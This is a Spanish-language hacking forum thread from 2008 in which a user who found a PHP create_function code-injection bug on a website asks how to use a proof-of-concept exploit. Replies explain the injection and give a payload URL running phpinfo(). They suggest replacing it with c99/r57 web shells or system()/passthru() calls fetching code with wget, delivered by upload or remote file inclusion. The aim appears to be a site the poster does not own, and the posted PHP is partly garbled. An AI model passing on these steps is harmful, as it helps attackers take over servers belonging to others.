¿Cómo explotar esta vulnerabilidad?

Iniciado por rixi15, 15 Octubre 2008, 15:23 PM

0 Miembros y 1 Visitante están viendo este tema.

rixi15

Bueno he analizado una web y he encontrado este bug:

  Web Servers : PHP create_function Code Injection Weakness
Port 80 
Description PHP is prone to a code-injection weakness because it fails to sufficiently sanitize input to 'create_function()'. Note that the anonymous function returned need not be called for the supplied code to be executed.An attacker who can exploit this weakness will be able to execute code with the privileges of an additional vulnerable program.This weakness is reported in PHP 5.2.6; other versions may also be affected. 
How to fix Upgrade to the current version of PHP. 
Risk level High 
Related Links PHP HomePage.

CVE CVE-MAP-NOMATCH 
Bugtraq ID 31398 



he buscado y tengo este explot en php
<?php
# call as test.php?sort_by="]);}phpinfo();/*
$sort_by=stripslashes($_GET[sort_by]);
$databases=array("test");
$sorter 'var_dump';
$sort_function ' return ' . ($sort_order == 'ASC' : -1) . ' * ' $sorter '($a["' $sort_by '"], $b["' $sort_by '"]); ';


usort($databasescreate_function('$a, $b'$sort_function));

?>



Alguien sabe como lo puedo utilizar?
Gracias

nitr0us

#1


CitarWeb Servers : PHP create_function Code Injection Weakness

Inyección de código en la función create_function(), y en el exploit vemos:

Citar$sort_by=stripslashes($_GET[sort_by]);
User-input = $sort_by

Citar$sort_function = ' return ' . ($sort_order == 'ASC' ? 1 : -1) . ' * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]); ';
$sort_function incluye $sort_by

Citarusort($databases, create_function('$a, $b', $sort_function));
Entonces, create_function() es llamado con datos del usuario, el cual no sanitiza y lo parasea.

En el exploit viene una forma de usarlo:
Citar# call as test.php?sort_by="]);}phpinfo();/*

Guardas el exploit como test.php y lo llamas como http://0xdeadb33f.gov/test.php?sort_by="]);}phpinfo();/*
Y el resultado debe ser la salida de phpinfo().

Eso es un simple Proof of Concept, en la vida real, debes hacer revisión de código para buscar las llamadas a create_function() y analizar si la función recibe datos de usuario (directa o indirectamente). Si es así, entonces, podrías cambiar tu phpinfo() por un bonit c99 o un r57 (php shells) jeje.

SaluD.o.S

Bender-Deicide

rixi te veo conocido? ajaj como andas?

Me desvie pero bueno y te sirvio lo que te dijo el colega?
i7 860 @ 2.8 Ghz
Asus Sabertooth 55i
2X2 GB DDR3 1600 Geil Evo Two
Samsung SpinPoint 500GB SATA II 16MB Buffer
WD Green 1 TB SATA II 64MB Buffer
Gab Satellite 511K (Black)
Satellite SL-8600EPS 600watts
MSI HD5750 1GB GDDR5

rixi15

jeje hola huemulito no sabia que estabas en este foro
si me ha servido pero no me ha quedado muy claro como llamo al explot
con rfi o como

Azielito

lo subes al server y lo ejecutas, si no lo podes subir directamente entonces con rfi como has mencionado, el "chiste" es que se ejecute en el server "afectado" :)

se me ocurre que en lugar de poner "phpinfo()" podrias usar system() o alguna variante :P

passthru() creo que tambien funca... y claro, enviarle comandos... tal vez...

system("wget...")...


Eazy

No creo que tenga permisos para usar system or passthru, pero nunca hace mal probar.
[/url]

OssoH

Tengo una web y me gustaria saber que programa usan para encontrarle vulnerabilidades ya que en ese caso me gustaría resolver el problema para hacerla más segura. La web consiste en una aplicación de gestión usuario/contraseña sin SSL. Supongo que es sin SSL ya que no me aparece el candado de seguridad al lado de la URL del navegador. ¿Me aconsejan SSL?
Gracias

AlbertoBSD

Cita de: nitr0us en 15 Octubre 2008, 18:46 PM


Eso es un simple Proof of Concept, en la vida real, debes hacer revisión de código para buscar las llamadas a create_function() y analizar si la función recibe datos de usuario (directa o indirectamente). Si es así, entonces, podrías cambiar tu phpinfo() por un bonit c99 o un r57 (php shells) jeje.

Esta intersante, voy a provarlo ahora mismo en mi servidor local.

Cita de: nitr0us en 15 Octubre 2008, 18:46 PM
SaluD.o.S


Jajaja  :laugh: :laugh: Que buen chiste

Igualemte Saludos y Gracias.



ss ss ss  Smurfff!!! a perdon esque estornude, estoy algo enfermo :xD
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW